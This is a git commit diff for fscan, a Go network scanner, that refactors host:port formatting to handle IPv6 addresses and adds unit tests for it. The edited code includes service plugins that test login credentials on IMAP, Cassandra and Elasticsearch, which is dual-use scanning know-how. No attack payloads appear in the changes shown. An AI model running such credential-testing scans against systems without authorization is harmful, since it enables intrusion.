mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
fix: harden address parsing edge cases
This commit is contained in:
+3
-2
@@ -2,7 +2,8 @@ package common
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"net"
|
||||||
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
|
|
||||||
@@ -30,7 +31,7 @@ type HostInfo struct {
|
|||||||
|
|
||||||
// Target 返回 host:port 格式字符串
|
// Target 返回 host:port 格式字符串
|
||||||
func (h *HostInfo) Target() string {
|
func (h *HostInfo) Target() string {
|
||||||
return fmt.Sprintf("%s:%d", h.Host, h.Port)
|
return net.JoinHostPort(h.Host, strconv.Itoa(h.Port))
|
||||||
}
|
}
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|||||||
@@ -0,0 +1,10 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestHostInfoTargetUsesBracketedIPv6(t *testing.T) {
|
||||||
|
info := &HostInfo{Host: "2001:db8::1", Port: 443}
|
||||||
|
if got, want := info.Target(), "[2001:db8::1]:443"; got != want {
|
||||||
|
t.Fatalf("Target() = %q, want %q", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,9 +1,6 @@
|
|||||||
package output
|
package output
|
||||||
|
|
||||||
import (
|
import "sync"
|
||||||
"fmt"
|
|
||||||
"sync"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ResultBuffer 公共的去重缓冲逻辑,供各Writer复用
|
// ResultBuffer 公共的去重缓冲逻辑,供各Writer复用
|
||||||
type ResultBuffer struct {
|
type ResultBuffer struct {
|
||||||
@@ -103,7 +100,7 @@ func (b *ResultBuffer) generateKey(result *ScanResult) string {
|
|||||||
case TypePort:
|
case TypePort:
|
||||||
if result.Details != nil {
|
if result.Details != nil {
|
||||||
if port, ok := result.Details["port"]; ok {
|
if port, ok := result.Details["port"]; ok {
|
||||||
return fmt.Sprintf("%s:%v", result.Target, port)
|
return targetWithPort(result.Target, port)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return result.Target
|
return result.Target
|
||||||
|
|||||||
+21
-23
@@ -5,6 +5,7 @@ import (
|
|||||||
"encoding/csv"
|
"encoding/csv"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"net"
|
||||||
"os"
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
@@ -37,6 +38,20 @@ func escapeControlChars(s string) string {
|
|||||||
return b.String()
|
return b.String()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func targetWithPort(target string, port interface{}) string {
|
||||||
|
if port == nil {
|
||||||
|
return target
|
||||||
|
}
|
||||||
|
if _, _, err := net.SplitHostPort(target); err == nil {
|
||||||
|
return target
|
||||||
|
}
|
||||||
|
portText := fmt.Sprint(port)
|
||||||
|
if strings.Count(target, ":") == 1 {
|
||||||
|
return target
|
||||||
|
}
|
||||||
|
return net.JoinHostPort(target, portText)
|
||||||
|
}
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
// TXTWriter - 文本格式写入器
|
// TXTWriter - 文本格式写入器
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
@@ -134,7 +149,7 @@ func (w *TXTWriter) formatLine(result *ScanResult) string {
|
|||||||
case TypePort:
|
case TypePort:
|
||||||
port := w.getDetail(result, "port")
|
port := w.getDetail(result, "port")
|
||||||
if port != nil {
|
if port != nil {
|
||||||
return fmt.Sprintf("%s:%v", result.Target, port)
|
return targetWithPort(result.Target, port)
|
||||||
}
|
}
|
||||||
return result.Target
|
return result.Target
|
||||||
case TypeService:
|
case TypeService:
|
||||||
@@ -167,12 +182,7 @@ func (w *TXTWriter) formatServiceLine(result *ScanResult) string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 非Web服务:ip:port service banner
|
// 非Web服务:ip:port service banner
|
||||||
target := result.Target
|
target := targetWithPort(result.Target, w.getDetail(result, "port"))
|
||||||
if !strings.Contains(target, ":") {
|
|
||||||
if port := w.getDetail(result, "port"); port != nil {
|
|
||||||
target = fmt.Sprintf("%s:%v", target, port)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
var parts []string
|
var parts []string
|
||||||
parts = append(parts, target)
|
parts = append(parts, target)
|
||||||
@@ -191,12 +201,7 @@ func (w *TXTWriter) formatServiceLine(result *ScanResult) string {
|
|||||||
|
|
||||||
// formatWebServiceLine 格式化Web服务结果
|
// formatWebServiceLine 格式化Web服务结果
|
||||||
func (w *TXTWriter) formatWebServiceLine(result *ScanResult) string {
|
func (w *TXTWriter) formatWebServiceLine(result *ScanResult) string {
|
||||||
target := result.Target
|
target := targetWithPort(result.Target, w.getDetail(result, "port"))
|
||||||
if !strings.Contains(target, ":") {
|
|
||||||
if port := w.getDetail(result, "port"); port != nil {
|
|
||||||
target = fmt.Sprintf("%s:%v", target, port)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
url := fmt.Sprintf("%s://%s", w.webProtocol(result, target), target)
|
url := fmt.Sprintf("%s://%s", w.webProtocol(result, target), target)
|
||||||
title := w.getDetailStr(result, "title")
|
title := w.getDetailStr(result, "title")
|
||||||
@@ -364,12 +369,7 @@ func (w *TXTWriter) writeWebServices() {
|
|||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
target := result.Target
|
target := targetWithPort(result.Target, w.getDetail(result, "port"))
|
||||||
if !strings.Contains(target, ":") {
|
|
||||||
if port := w.getDetail(result, "port"); port != nil {
|
|
||||||
target = fmt.Sprintf("%s:%v", target, port)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
urls = append(urls, fmt.Sprintf("%s://%s", w.webProtocol(result, target), target))
|
urls = append(urls, fmt.Sprintf("%s://%s", w.webProtocol(result, target), target))
|
||||||
}
|
}
|
||||||
@@ -745,10 +745,8 @@ func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
target := result.Target
|
target := result.Target
|
||||||
if !strings.Contains(target, ":") {
|
if result.Details != nil {
|
||||||
if p, ok := result.Details["port"]; ok {
|
target = targetWithPort(target, result.Details["port"])
|
||||||
target = fmt.Sprintf("%s:%v", target, p)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
return []string{target, service, version, title, status, server, fingerprints, banner}
|
return []string{target, service, version, title, status, server, fingerprints, banner}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -57,6 +57,28 @@ func createTestResult(resultType ResultType, target, status string, details map[
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestTargetWithPortIPv6(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
target string
|
||||||
|
port interface{}
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{name: "ipv4 without port", target: "192.168.1.1", port: 80, want: "192.168.1.1:80"},
|
||||||
|
{name: "ipv4 with port", target: "192.168.1.1:80", port: 443, want: "192.168.1.1:80"},
|
||||||
|
{name: "ipv6 without port", target: "2001:db8::1", port: 443, want: "[2001:db8::1]:443"},
|
||||||
|
{name: "ipv6 with port", target: "[2001:db8::1]:443", port: 80, want: "[2001:db8::1]:443"},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
if got := targetWithPort(tt.target, tt.port); got != tt.want {
|
||||||
|
t.Fatalf("targetWithPort(%q, %v) = %q, want %q", tt.target, tt.port, got, tt.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
// TXTWriter - 基础功能测试
|
// TXTWriter - 基础功能测试
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|||||||
+2
-1
@@ -8,6 +8,7 @@ import (
|
|||||||
"net"
|
"net"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"runtime"
|
"runtime"
|
||||||
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"sync/atomic"
|
"sync/atomic"
|
||||||
@@ -704,7 +705,7 @@ func tcpProbeAlive(ctx context.Context, session *common.ScanSession, host string
|
|||||||
result := make(chan bool, len(tcpProbeCommonPorts))
|
result := make(chan bool, len(tcpProbeCommonPorts))
|
||||||
for _, port := range tcpProbeCommonPorts {
|
for _, port := range tcpProbeCommonPorts {
|
||||||
go func(p int) {
|
go func(p int) {
|
||||||
addr := fmt.Sprintf("%s:%d", host, p)
|
addr := net.JoinHostPort(host, strconv.Itoa(p))
|
||||||
conn, err := session.DialTCP(ctx, "tcp", addr, tcpProbeTimeout)
|
conn, err := session.DialTCP(ctx, "tcp", addr, tcpProbeTimeout)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
_ = conn.Close()
|
_ = conn.Close()
|
||||||
|
|||||||
+5
-4
@@ -4,6 +4,7 @@ import (
|
|||||||
"context"
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
"net"
|
"net"
|
||||||
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"sync/atomic"
|
"sync/atomic"
|
||||||
@@ -673,7 +674,7 @@ func processServiceResult(ctx context.Context, host string, port int, addr strin
|
|||||||
_ = session.SaveResult(&output.ScanResult{
|
_ = session.SaveResult(&output.ScanResult{
|
||||||
Time: time.Now(),
|
Time: time.Now(),
|
||||||
Type: output.TypeService,
|
Type: output.TypeService,
|
||||||
Target: fmt.Sprintf("%s:%d", host, port),
|
Target: net.JoinHostPort(host, strconv.Itoa(port)),
|
||||||
Status: "identified",
|
Status: "identified",
|
||||||
Details: details,
|
Details: details,
|
||||||
})
|
})
|
||||||
@@ -741,7 +742,7 @@ func tryHTTPFallbackDetection(ctx context.Context, host string, port int, addr s
|
|||||||
_ = session.SaveResult(&output.ScanResult{
|
_ = session.SaveResult(&output.ScanResult{
|
||||||
Time: time.Now(),
|
Time: time.Now(),
|
||||||
Type: output.TypeService,
|
Type: output.TypeService,
|
||||||
Target: fmt.Sprintf("%s:%d", host, port),
|
Target: net.JoinHostPort(host, strconv.Itoa(port)),
|
||||||
Status: "identified",
|
Status: "identified",
|
||||||
Details: details,
|
Details: details,
|
||||||
})
|
})
|
||||||
@@ -812,7 +813,7 @@ func probeSubnets(ctx context.Context, hosts []string, timeout time.Duration, se
|
|||||||
_ = conn.Close()
|
_ = conn.Close()
|
||||||
aliveSubnets.Store(pfx, true)
|
aliveSubnets.Store(pfx, true)
|
||||||
}
|
}
|
||||||
}(prefix, fmt.Sprintf("%s:%d", gw, port))
|
}(prefix, net.JoinHostPort(gw, strconv.Itoa(port)))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -845,7 +846,7 @@ func probeSubnets(ctx context.Context, hosts []string, timeout time.Duration, se
|
|||||||
|
|
||||||
go func(pfx, h string, p int) {
|
go func(pfx, h string, p int) {
|
||||||
defer func() { <-limiter; wg.Done() }()
|
defer func() { <-limiter; wg.Done() }()
|
||||||
conn, err := session.DialTCP(ctx, "tcp", fmt.Sprintf("%s:%d", h, p), subnetProbeTimeout)
|
conn, err := session.DialTCP(ctx, "tcp", net.JoinHostPort(h, strconv.Itoa(p)), subnetProbeTimeout)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
_ = conn.Close()
|
_ = conn.Close()
|
||||||
aliveSubnets.Store(pfx, true)
|
aliveSubnets.Store(pfx, true)
|
||||||
|
|||||||
@@ -3,9 +3,9 @@ package core
|
|||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
|
||||||
"io"
|
"io"
|
||||||
"net"
|
"net"
|
||||||
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
@@ -264,7 +264,7 @@ func (s *SmartPortInfoScanner) reconnectIfNeeded() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 重新建立连接
|
// 重新建立连接
|
||||||
newConn, err := s.session.DialTCP(s.info.ctx, "tcp", fmt.Sprintf("%s:%d", s.Address, s.Port), s.Timeout)
|
newConn, err := s.session.DialTCP(s.info.ctx, "tcp", net.JoinHostPort(s.Address, strconv.Itoa(s.Port)), s.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -542,7 +542,7 @@ func (i *Info) Write(msg []byte) error {
|
|||||||
_ = oldConn.Close()
|
_ = oldConn.Close()
|
||||||
|
|
||||||
// 尝试重新连接 - 支持SOCKS5代理
|
// 尝试重新连接 - 支持SOCKS5代理
|
||||||
newConn, retryErr := i.session.DialTCP(i.ctx, "tcp", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second)
|
newConn, retryErr := i.session.DialTCP(i.ctx, "tcp", net.JoinHostPort(i.Address, strconv.Itoa(i.Port)), time.Duration(6)*time.Second)
|
||||||
if retryErr != nil {
|
if retryErr != nil {
|
||||||
return retryErr
|
return retryErr
|
||||||
}
|
}
|
||||||
|
|||||||
+11
-4
@@ -3,6 +3,7 @@ package core
|
|||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"net"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
@@ -422,15 +423,21 @@ func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo comm
|
|||||||
var infos []common.HostInfo
|
var infos []common.HostInfo
|
||||||
|
|
||||||
for _, targetIP := range ports {
|
for _, targetIP := range ports {
|
||||||
hostParts := strings.Split(targetIP, ":")
|
targetIP = strings.TrimSpace(targetIP)
|
||||||
if len(hostParts) != 2 {
|
host, portStr, err := net.SplitHostPort(targetIP)
|
||||||
|
if err != nil && strings.Count(targetIP, ":") == 1 {
|
||||||
|
parts := strings.SplitN(targetIP, ":", 2)
|
||||||
|
host, portStr = parts[0], parts[1]
|
||||||
|
err = nil
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
common.LogError(i18n.Tr("invalid_target_format", targetIP))
|
common.LogError(i18n.Tr("invalid_target_format", targetIP))
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
// 去除空格并过滤空值
|
// 去除空格并过滤空值
|
||||||
host := strings.TrimSpace(hostParts[0])
|
host = strings.TrimSpace(host)
|
||||||
portStr := strings.TrimSpace(hostParts[1])
|
portStr = strings.TrimSpace(portStr)
|
||||||
if host == "" || portStr == "" {
|
if host == "" || portStr == "" {
|
||||||
common.LogError(i18n.Tr("invalid_target_format", targetIP))
|
common.LogError(i18n.Tr("invalid_target_format", targetIP))
|
||||||
continue
|
continue
|
||||||
|
|||||||
@@ -545,12 +545,26 @@ func TestConvertToTargetInfos(t *testing.T) {
|
|||||||
},
|
},
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
name: "IPv6地址",
|
name: "裸IPv6地址缺少方括号",
|
||||||
ports: []string{"::1:8080"},
|
ports: []string{"::1:8080"},
|
||||||
baseInfo: common.HostInfo{},
|
baseInfo: common.HostInfo{},
|
||||||
expectedLen: 0, // Split会产生多个部分,被判定为非法
|
expectedLen: 0,
|
||||||
validateFunc: nil,
|
validateFunc: nil,
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
name: "IPv6地址",
|
||||||
|
ports: []string{"[2001:db8::1]:8080"},
|
||||||
|
baseInfo: common.HostInfo{},
|
||||||
|
expectedLen: 1,
|
||||||
|
validateFunc: func(t *testing.T, infos []common.HostInfo) {
|
||||||
|
if infos[0].Host != "2001:db8::1" {
|
||||||
|
t.Errorf("Host = %q, 期望 '2001:db8::1'", infos[0].Host)
|
||||||
|
}
|
||||||
|
if infos[0].Port != 8080 {
|
||||||
|
t.Errorf("Port = %d, 期望 8080", infos[0].Port)
|
||||||
|
}
|
||||||
|
},
|
||||||
|
},
|
||||||
{
|
{
|
||||||
name: "域名+端口",
|
name: "域名+端口",
|
||||||
ports: []string{"example.com:80", "test.local:443"},
|
ports: []string{"example.com:80", "test.local:443"},
|
||||||
|
|||||||
+5
-10
@@ -38,7 +38,7 @@ func DetectHTTPSchemeContext(ctx context.Context, host string, port int, config
|
|||||||
}
|
}
|
||||||
|
|
||||||
timeout := config.Network.WebTimeout
|
timeout := config.Network.WebTimeout
|
||||||
addr := fmt.Sprintf("%s:%d", host, port)
|
addr := net.JoinHostPort(host, strconv.Itoa(port))
|
||||||
|
|
||||||
// 第一步:尝试标准TLS握手(优先检测HTTPS)
|
// 第一步:尝试标准TLS握手(优先检测HTTPS)
|
||||||
tlsDialer := &net.Dialer{Timeout: timeout}
|
tlsDialer := &net.Dialer{Timeout: timeout}
|
||||||
@@ -179,15 +179,10 @@ func isPortReachable(ctx context.Context, host string, port int, config *common.
|
|||||||
// tryHTTP 尝试HTTP请求 - 简化的核心逻辑
|
// tryHTTP 尝试HTTP请求 - 简化的核心逻辑
|
||||||
func (w *WebPortDetector) tryHTTP(ctx context.Context, client *http.Client, session *common.ScanSession, host string, port int, protocol string) bool {
|
func (w *WebPortDetector) tryHTTP(ctx context.Context, client *http.Client, session *common.ScanSession, host string, port int, protocol string) bool {
|
||||||
// 构造URL
|
// 构造URL
|
||||||
var url string
|
targetURL := (&url.URL{Scheme: protocol, Host: net.JoinHostPort(host, strconv.Itoa(port))}).String()
|
||||||
if (port == 80 && protocol == "http") || (port == 443 && protocol == "https") {
|
|
||||||
url = fmt.Sprintf("%s://%s", protocol, host)
|
|
||||||
} else {
|
|
||||||
url = fmt.Sprintf("%s://%s:%d", protocol, host, port)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 发送HEAD请求
|
// 发送HEAD请求
|
||||||
req, err := http.NewRequestWithContext(ctx, "HEAD", url, nil)
|
req, err := http.NewRequestWithContext(ctx, "HEAD", targetURL, nil)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
@@ -266,7 +261,7 @@ func IsWebServiceByFingerprint(serviceInfo *ServiceInfo) bool {
|
|||||||
|
|
||||||
// MarkAsWebService 标记Web服务 - 保持API兼容
|
// MarkAsWebService 标记Web服务 - 保持API兼容
|
||||||
func MarkAsWebService(host string, port int, serviceInfo *ServiceInfo) {
|
func MarkAsWebService(host string, port int, serviceInfo *ServiceInfo) {
|
||||||
cacheKey := fmt.Sprintf("%s:%d", host, port)
|
cacheKey := net.JoinHostPort(host, strconv.Itoa(port))
|
||||||
|
|
||||||
webCacheMutex.Lock()
|
webCacheMutex.Lock()
|
||||||
defer webCacheMutex.Unlock()
|
defer webCacheMutex.Unlock()
|
||||||
@@ -276,7 +271,7 @@ func MarkAsWebService(host string, port int, serviceInfo *ServiceInfo) {
|
|||||||
|
|
||||||
// GetWebServiceInfo 获取Web服务信息
|
// GetWebServiceInfo 获取Web服务信息
|
||||||
func GetWebServiceInfo(host string, port int) (*ServiceInfo, bool) {
|
func GetWebServiceInfo(host string, port int) (*ServiceInfo, bool) {
|
||||||
cacheKey := fmt.Sprintf("%s:%d", host, port)
|
cacheKey := net.JoinHostPort(host, strconv.Itoa(port))
|
||||||
|
|
||||||
webCacheMutex.RLock()
|
webCacheMutex.RLock()
|
||||||
defer webCacheMutex.RUnlock()
|
defer webCacheMutex.RUnlock()
|
||||||
|
|||||||
@@ -5,7 +5,6 @@ package services
|
|||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"encoding/binary"
|
"encoding/binary"
|
||||||
"fmt"
|
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
@@ -28,7 +27,7 @@ func (p *BACnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
|||||||
timeout = 3 * time.Second
|
timeout = 3 * time.Second
|
||||||
}
|
}
|
||||||
|
|
||||||
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
target := info.Target()
|
||||||
conn, err := session.DialUDP(ctx, target, timeout)
|
conn, err := session.DialUDP(ctx, target, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return &ScanResult{Success: false, Service: "bacnet"}
|
return &ScanResult{Success: false, Service: "bacnet"}
|
||||||
|
|||||||
@@ -84,7 +84,7 @@ const (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
addr := info.Target()
|
||||||
timeout := config.Timeout
|
timeout := config.Timeout
|
||||||
|
|
||||||
dialer := net.Dialer{Timeout: timeout}
|
dialer := net.Dialer{Timeout: timeout}
|
||||||
@@ -251,7 +251,7 @@ func classifyCassandraErrorType(err error) ErrorType {
|
|||||||
|
|
||||||
func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
addr := info.Target()
|
||||||
timeout := config.Timeout
|
timeout := config.Timeout
|
||||||
|
|
||||||
dialer := net.Dialer{Timeout: timeout}
|
dialer := net.Dialer{Timeout: timeout}
|
||||||
@@ -297,7 +297,7 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.
|
|||||||
|
|
||||||
func (p *CassandraPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *CassandraPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
addr := info.Target()
|
||||||
timeout := config.Timeout
|
timeout := config.Timeout
|
||||||
|
|
||||||
dialer := net.Dialer{Timeout: timeout}
|
dialer := net.Dialer{Timeout: timeout}
|
||||||
|
|||||||
@@ -133,7 +133,7 @@ func DefaultConcurrentTestConfig(config *common.Config) ConcurrentTestConfig {
|
|||||||
// DefaultConcurrentTestConfigWithTarget 带目标预检的默认配置
|
// DefaultConcurrentTestConfigWithTarget 带目标预检的默认配置
|
||||||
func DefaultConcurrentTestConfigWithTarget(config *common.Config, info *common.HostInfo) ConcurrentTestConfig {
|
func DefaultConcurrentTestConfigWithTarget(config *common.Config, info *common.HostInfo) ConcurrentTestConfig {
|
||||||
cfg := DefaultConcurrentTestConfig(config)
|
cfg := DefaultConcurrentTestConfig(config)
|
||||||
cfg.TargetAddr = fmt.Sprintf("%s:%d", info.Host, info.Port)
|
cfg.TargetAddr = info.Target()
|
||||||
return cfg
|
return cfg
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ package services
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"fmt"
|
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
@@ -25,7 +24,7 @@ func (p *DNSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
|||||||
timeout = 3 * time.Second
|
timeout = 3 * time.Second
|
||||||
}
|
}
|
||||||
|
|
||||||
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
target := info.Target()
|
||||||
queryID := randomUint16()
|
queryID := randomUint16()
|
||||||
query := buildDNSRootNSQuery(queryID)
|
query := buildDNSRootNSQuery(queryID)
|
||||||
|
|
||||||
|
|||||||
@@ -5,7 +5,6 @@ package services
|
|||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"encoding/binary"
|
"encoding/binary"
|
||||||
"fmt"
|
|
||||||
"io"
|
"io"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -27,7 +26,7 @@ func (p *DNSTCPPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
|||||||
timeout = 3 * time.Second
|
timeout = 3 * time.Second
|
||||||
}
|
}
|
||||||
|
|
||||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
addr := info.Target()
|
||||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return &ScanResult{Success: false, Service: "dns"}
|
return &ScanResult{Success: false, Service: "dns"}
|
||||||
|
|||||||
@@ -88,7 +88,7 @@ func (p *ElasticsearchPlugin) testCredential(ctx context.Context, info *common.H
|
|||||||
if info.Port == 9443 {
|
if info.Port == 9443 {
|
||||||
protocol = "https"
|
protocol = "https"
|
||||||
}
|
}
|
||||||
url := fmt.Sprintf("%s://%s:%d/", protocol, info.Host, info.Port)
|
url := fmt.Sprintf("%s://%s/", protocol, info.Target())
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(ctx, "GET", url, nil)
|
req, err := http.NewRequestWithContext(ctx, "GET", url, nil)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ func (p *IMAPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
|||||||
timeout = 3 * time.Second
|
timeout = 3 * time.Second
|
||||||
}
|
}
|
||||||
|
|
||||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
addr := info.Target()
|
||||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return &ScanResult{Success: false, Service: "imap"}
|
return &ScanResult{Success: false, Service: "imap"}
|
||||||
@@ -75,7 +75,7 @@ func (p *IMAPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (p *IMAPPlugin) tryLogin(ctx context.Context, info *common.HostInfo, cred plugins.Credential, timeout time.Duration, session *common.ScanSession) *ScanResult {
|
func (p *IMAPPlugin) tryLogin(ctx context.Context, info *common.HostInfo, cred plugins.Credential, timeout time.Duration, session *common.ScanSession) *ScanResult {
|
||||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
addr := info.Target()
|
||||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil
|
return nil
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ func (p *IPMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
|||||||
timeout = 3 * time.Second
|
timeout = 3 * time.Second
|
||||||
}
|
}
|
||||||
|
|
||||||
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
target := info.Target()
|
||||||
|
|
||||||
if result := p.rmcpPing(ctx, target, timeout, session); result != nil {
|
if result := p.rmcpPing(ctx, target, timeout, session); result != nil {
|
||||||
return result
|
return result
|
||||||
|
|||||||
@@ -5,7 +5,6 @@ package services
|
|||||||
import (
|
import (
|
||||||
"bytes"
|
"bytes"
|
||||||
"context"
|
"context"
|
||||||
"fmt"
|
|
||||||
"io"
|
"io"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -29,7 +28,7 @@ func (p *JDWPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
|||||||
timeout = 3 * time.Second
|
timeout = 3 * time.Second
|
||||||
}
|
}
|
||||||
|
|
||||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
addr := info.Target()
|
||||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return &ScanResult{Success: false, Service: "jdwp"}
|
return &ScanResult{Success: false, Service: "jdwp"}
|
||||||
@@ -57,7 +56,11 @@ func (p *JDWPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *JDWPPlugin) getVersion(conn interface{ Read([]byte) (int, error); Write([]byte) (int, error); SetDeadline(time.Time) error }, timeout time.Duration) string {
|
func (p *JDWPPlugin) getVersion(conn interface {
|
||||||
|
Read([]byte) (int, error)
|
||||||
|
Write([]byte) (int, error)
|
||||||
|
SetDeadline(time.Time) error
|
||||||
|
}, timeout time.Duration) string {
|
||||||
_ = conn.SetDeadline(time.Now().Add(timeout))
|
_ = conn.SetDeadline(time.Now().Add(timeout))
|
||||||
|
|
||||||
// JDWP Version command: length=11, id=1, flags=0, commandSet=1, command=1
|
// JDWP Version command: length=11, id=1, flags=0, commandSet=1, command=1
|
||||||
|
|||||||
@@ -65,7 +65,7 @@ func (p *KafkaPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi
|
|||||||
// ── raw TCP Kafka 实现 ──────────────────────────────────────────
|
// ── raw TCP Kafka 实现 ──────────────────────────────────────────
|
||||||
|
|
||||||
